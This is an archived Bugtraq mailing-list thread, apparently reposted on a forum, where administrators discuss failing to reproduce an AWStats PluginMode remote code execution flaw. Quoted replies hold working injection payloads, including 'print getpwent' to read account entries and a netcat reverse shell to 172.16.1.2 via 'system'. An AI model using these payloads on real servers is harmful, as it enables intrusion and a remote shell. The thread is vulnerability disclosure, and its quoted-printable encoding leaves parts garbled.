Same thing here on both 6.3 and 6.4. I am unable to reproduce this.
Error: Can't locate object method "BuildFullHTMLOutput_print" via =
package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1) =
line 1.
Setup =
('/usr/local/apache/root/billpratt_net/cgi-bin/awstats/awstats.conf' =
file, web server or permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs' =
directory).
William Pratt
Sr. Engineering Application Developer
Megapath Networks, Inc.
Http://www.MegaPath.net
I wish there was a knob on the TV to turn up the intelligence. There's =
a knob called "brightness", but it doesn't seem to work.
=20
-- Gallagher=20
-----Original Message-----
From: Jamie Pratt [mailto:jpratt@norwich.edu]
Sent: Tuesday, February 15, 2005 11:26 AM
To: Ondra Holecek
Cc: bugtraq@securityfocus.com
Subject: Re: AWStats <=3D 6.4 Multiple vulnerabilities - can't reproduce
in 6.3?
So what are the conditions of this bug/vuln? I can't reproduce this on=20
several 6.3 installs..:
awstats 6.3 from source:
request:
http://www.site.org/awstats/cgi-bin/...D:print+syste=
m('id')+;
output:
****************
Error: Can't locate object method "BuildFullHTMLOutput_print" via=20
package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)=20
line 1.
Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or=20
permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs'=20
directory).
***************
regards,
jamie
Ondra Holecek wrote:
>=20
>=20
> GHC@www.securityfocus.com wrote:
> |
> | =
/*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D*/
> | // GHC -> AWStats <- ADVISORY
> | \\ PRODUCT: AWStats
> | // VERSION: <=3D 6.3
> | \\ URL: http://awstats.sourceforge.net/
> | // VULNERABILITY CLASS: Multiple vulnerabilities
> | \\ RISK: high
> | =
/*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D*/
>=20
> [...]
>=20
> |
> | PluginMode=3Drint+getpwent
> |
> | And the $function becomes 'BuildFullHTMLOutput_rint getpwent()'.
> | This will satisfy eval() requirements., andrint getpwent() is=20
> executed.
> |
> |
> =
http://www.lan.server/cgi-bin/awstat...Mode=3D:print=
+getpwent=20
>=20
> |
> | Sanitazing limits user's input, but there is no filtration for call
> sympols '()'.
>=20
> no, user is not limited, he can execute ANY command if he add ; at the
> end of the command, try this
>=20
> awstats.pl?&PluginMode=3Drint+system('id')+;
>=20
> or even this
>=20
> =
awstats.pl?&PluginMode=3Drint+system('nc+172.16.1.2+3000+-e+/bin/sh')+;=
>=20
>=20
> Ondra
--=20
James Pratt
Unix Systems Administrator
Norwich University
http://www.norwich.edu/it
<jpratt@norwich.edu> | ph. (802)485-2532

Likes:

rint+getpwent
Quote
eply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding